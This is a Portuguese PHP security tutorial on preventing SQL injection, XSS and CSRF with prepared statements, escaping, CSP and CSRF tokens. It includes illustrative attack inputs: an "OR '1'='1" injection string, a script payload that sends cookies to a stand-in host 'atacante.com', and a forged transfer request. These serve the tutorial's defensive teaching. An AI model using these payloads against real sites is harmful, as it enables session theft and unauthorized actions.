PHP

Segurança em Formulários: XSS, CSRF e SQL Injection Já leu

8 min de leitura

Segurança em Formulários: XSS, CSRF e SQL Injection
Segurança não é um módulo separado que você adiciona ao projeto no final. É uma camada que permeia cada linha de código que recebe, processa ou exibe dados externos. Os três vetores de ataque mais comuns em aplicações PH

Segurança não é um módulo separado que você adiciona ao projeto no final. É uma camada que permeia cada linha de código que recebe, processa ou exibe dados externos. Os três vetores de ataque mais comuns em aplicações PHP — SQL Injection, XSS e CSRF — respondem por uma parcela enorme das vulnerabilidades exploradas na web. Todos são preveníveis com técnicas simples, mas exigem disciplina consistente.

Neste artigo entendemos como cada ataque funciona, por que as defesas funcionam, e como implementá-las de forma que se torne hábito natural no seu código.


SQL Injection

SQL Injection acontece quando dados do usuário são concatenados diretamente em uma query SQL, permitindo que o atacante modifique a estrutura da query.

O código vulnerável:

<?php
// NUNCA faça isso
$email = $_POST['email'];
$query = "SELECT * FROM usuarios WHERE email = '$email'";
$resultado = $pdo->query($query);

Se o usuário enviar ' OR '1'='1, a query vira:

SELECT * FROM usuarios WHERE email = '' OR '1'='1'

Isso retorna todos os usuários. Com variações mais agressivas, o atacante pode deletar tabelas, extrair senhas, ou executar comandos no sistema operacional.

A defesa: prepared statements com parâmetros:

<?php
declare(strict_types=1);

// Correto — o valor do usuário nunca toca na estrutura da query
$stmt = $pdo->prepare('SELECT * FROM usuarios WHERE email = ?');
$stmt->execute([$email]);
$usuario = $stmt->fetch();

// Com named parameters — mais legível em queries longas
$stmt = $pdo->prepare(
    'SELECT id, nome, email FROM usuarios
     WHERE email = :email AND ativo = :ativo'
);
$stmt->execute([
    ':email' => $email,
    ':ativo' => 1,
]);

// INSERT também — nunca concatene valores em DML
$stmt = $pdo->prepare(
    'INSERT INTO usuarios (nome, email, senha_hash) VALUES (?, ?, ?)'
);
$stmt->execute([$nome, $email, password_hash($senha, PASSWORD_ARGON2ID)]);

O mecanismo de proteção é a separação entre código e dados. O banco de dados recebe a estrutura da query e os valores separadamente — o driver de banco nunca interpreta os valores como SQL.

Identificadores dinâmicos — o caso especial:

Prepared statements protegem valores, mas não nomes de colunas ou tabelas. Se você precisar de um identificador dinâmico, use whitelist:

<?php
// Ordenação por coluna dinâmica — vulnerável se não validado
$coluna    = $_GET['ordenar'] ?? 'nome';
$direcao   = $_GET['direcao'] ?? 'ASC';

// Whitelist: só permite valores conhecidos
$colunaPermitida   = in_array($coluna, ['nome', 'email', 'criado_em'], strict: true)
    ? $coluna : 'nome';
$direcaoPermitida = in_array(strtoupper($direcao), ['ASC', 'DESC'], strict: true)
    ? strtoupper($direcao) : 'ASC';

// Agora é seguro interpolar — são valores que você controla
$stmt = $pdo->query(
    "SELECT * FROM usuarios ORDER BY {$colunaPermitida} {$direcaoPermitida} LIMIT 50"
);

XSS — Cross-Site Scripting

XSS acontece quando dados do usuário são exibidos no HTML sem escape, permitindo que o atacante injete scripts que rodam no navegador de outras pessoas.

O código vulnerável:

<?php
// NUNCA faça isso
echo "Bem-vindo, " . $_GET['nome'] . "!";

Se o usuário acessar ?nome=<script>document.location='https://atacante.com/roubo?c='+document.cookie</script>, o script roda no navegador de qualquer pessoa que acesse essa URL — roubando cookies de sessão.

A defesa: htmlspecialchars() em toda saída:

<?php
// SEMPRE escape antes de exibir no HTML
function h(string $texto): string
{
    return htmlspecialchars($texto, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

echo "Bem-vindo, " . h($_GET['nome']) . "!";

// Em atributos HTML — também precisa de escape
echo '<input value="' . h($valor) . '">';

// Em atributos de evento — escape NÃO é suficiente, evite dados dinâmicos
// <button onclick="ação('<?= h($valor) ?>')"> — ainda arriscado

Content Security Policy — defesa em profundidade:

Mesmo que um XSS escorregue pelo seu código, o CSP instrui o navegador a não executar scripts não autorizados:

<?php
// Envie o header CSP em todas as páginas
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;");

Armazenando e exibindo HTML do usuário:

Às vezes você precisa exibir HTML enviado pelo usuário (editores rich text). Nunca exiba HTML bruto — use uma biblioteca de sanitização:

<?php
// Instale via composer: composer require ezyang/htmlpurifier
require 'vendor/autoload.php';

$config    = HTMLPurifier_Config::createDefault();
$purificador = new HTMLPurifier($config);

$htmlLimpo = $purificador->purify($_POST['conteudo']);
// Agora é seguro salvar no banco e exibir

CSRF — Cross-Site Request Forgery

CSRF é um ataque onde um site malicioso faz o navegador da vítima enviar uma requisição autenticada para outro site — sem que a vítima saiba. Se você está logado em banco.com e visita malicioso.com, uma imagem invisível com src="https://banco.com/transferir?valor=5000&destino=hacker" pode acionar uma transferência usando sua sessão ativa.

A defesa: token CSRF sincronizado:

<?php
declare(strict_types=1);

class TokenCSRF
{
    private const CHAVE_SESSION = 'csrf_token';
    private const TTL           = 3600; // 1 hora

    public static function gerar(): string
    {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        // Regenera se não existir ou estiver expirado
        if (!isset($_SESSION[self::CHAVE_SESSION]) ||
            time() > ($_SESSION['csrf_expira'] ?? 0)) {

            $_SESSION[self::CHAVE_SESSION] = bin2hex(random_bytes(32));
            $_SESSION['csrf_expira']       = time() + self::TTL;
        }

        return $_SESSION[self::CHAVE_SESSION];
    }

    public static function validar(string $tokenEnviado): bool
    {
        if (session_status() !== PHP_SESSION_ACTIVE) {
            session_start();
        }

        $tokenSessao = $_SESSION[self::CHAVE_SESSION] ?? '';

        // hash_equals: comparação em tempo constante — previne timing attacks
        return hash_equals($tokenSessao, $tokenEnviado)
            && time() <= ($_SESSION['csrf_expira'] ?? 0);
    }

    public static function campoHidden(): string
    {
        return '<input type="hidden" name="csrf_token" value="' . self::gerar() . '">';
    }
}

Usando o token nos formulários:

<!-- Todo formulário POST deve incluir o token -->
<form method="POST" action="/transferir">
    <?= TokenCSRF::campoHidden() ?>
    <input type="number" name="valor" placeholder="Valor">
    <button type="submit">Transferir</button>
</form>

Validando no servidor antes de processar qualquer POST:

<?php
function verificarCSRF(): void
{
    if ($_SERVER['REQUEST_METHOD'] !== 'POST') return;

    $tokenEnviado = $_POST['csrf_token'] ?? $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';

    if (!TokenCSRF::validar($tokenEnviado)) {
        http_response_code(403);
        die('Token CSRF inválido ou expirado.');
    }
}

// No início de qualquer script que processa POST:
session_start();
verificarCSRF();

Middleware de segurança — centralizando as defesas

Em vez de repetir verificações em cada arquivo, crie um ponto central:

<?php
declare(strict_types=1);

class MiddlewareDeSeguranca
{
    public static function aplicar(): void
    {
        // Headers de segurança em todas as respostas
        header('X-Content-Type-Options: nosniff');
        header('X-Frame-Options: SAMEORIGIN');
        header('X-XSS-Protection: 1; mode=block');
        header('Referrer-Policy: strict-origin-when-cross-origin');
        header("Content-Security-Policy: default-src 'self'; script-src 'self'");

        // Verifica CSRF em POSTs
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $token = $_POST['csrf_token'] ?? '';
            if (!TokenCSRF::validar($token)) {
                http_response_code(403);
                die('Requisição inválida.');
            }
        }
    }
}

// Em cada página (ou em um bootstrap que todas as páginas incluem):
session_start();
MiddlewareDeSeguranca::aplicar();

Password hashing correto

Senhas nunca devem ser armazenadas em texto plano, nem com MD5 ou SHA1. Use password_hash():

<?php

// Criar senha
$hash = password_hash($senhaDigitada, PASSWORD_ARGON2ID, [
    'memory_cost' => 65536,  // 64MB de memória
    'time_cost'   => 4,      // 4 iterações
    'threads'     => 2,
]);

// Verificar senha
if (!password_verify($senhaDigitada, $hashNoBanco)) {
    // Senha incorreta
}

// Verificar se o hash precisa ser atualizado (algoritmo mais novo disponível)
if (password_needs_rehash($hashNoBanco, PASSWORD_ARGON2ID)) {
    $novoHash = password_hash($senhaDigitada, PASSWORD_ARGON2ID);
    // Atualiza no banco
}

Resumo

Ataque Causa Defesa
SQL Injection Concatenar input em SQL Prepared statements + whitelist para identificadores
XSS Exibir input sem escape htmlspecialchars() + CSP
CSRF POST sem verificação de origem Token CSRF sincronizado
Senha comprometida Hash fraco ou sem hash password_hash() com ARGON2ID

Exercício da semana

  1. Audite um projeto PHP seu (ou um código de exemplo) buscando os três vetores: concatenação de SQL, echo sem htmlspecialchars, formulários POST sem token CSRF. Corrija cada ocorrência.

  2. Implemente a classe TokenCSRF completa com testes PHPUnit: teste que tokens inválidos são rejeitados, que tokens expirados são rejeitados, e que hash_equals está sendo usado (mock para verificar timing safety).

  3. Adicione um middleware que aplica automaticamente os headers de segurança HTTP em todas as respostas e valida o CSRF em POSTs.

  4. Implemente um formulário de busca com ordenação dinâmica. Garanta que a coluna e direção de ordenação passam por whitelist antes de serem interpoladas na query.

  5. Desafio: implemente uma segunda camada de proteção contra CSRF usando o header Origin/Referer: valide que o domínio de origem da requisição POST é o mesmo da aplicação. Combine com o token para defesa em profundidade.


Referências

  • OWASP Top 10: https://owasp.org/www-project-top-ten/
  • OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
  • OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
  • PHP Manual — password_hash: https://www.php.net/manual/pt_BR/function.password-hash.php

 

Comentários

Mais em PHP

Variáveis, Tipos de Dados e Operadores
Variáveis, Tipos de Dados e Operadores

Todo programa de computador, em sua ess&ecirc;ncia, faz tr&ecirc;s coisas: re...

Strings em Profundidade
Strings em Profundidade

Strings s&atilde;o o tipo de dado mais presente em qualquer aplica&ccedil;&at...

Design Patterns: Singleton, Factory e Builder
Design Patterns: Singleton, Factory e Builder

Design Patterns (Padrões de Projeto) são soluções codificadas para problemas...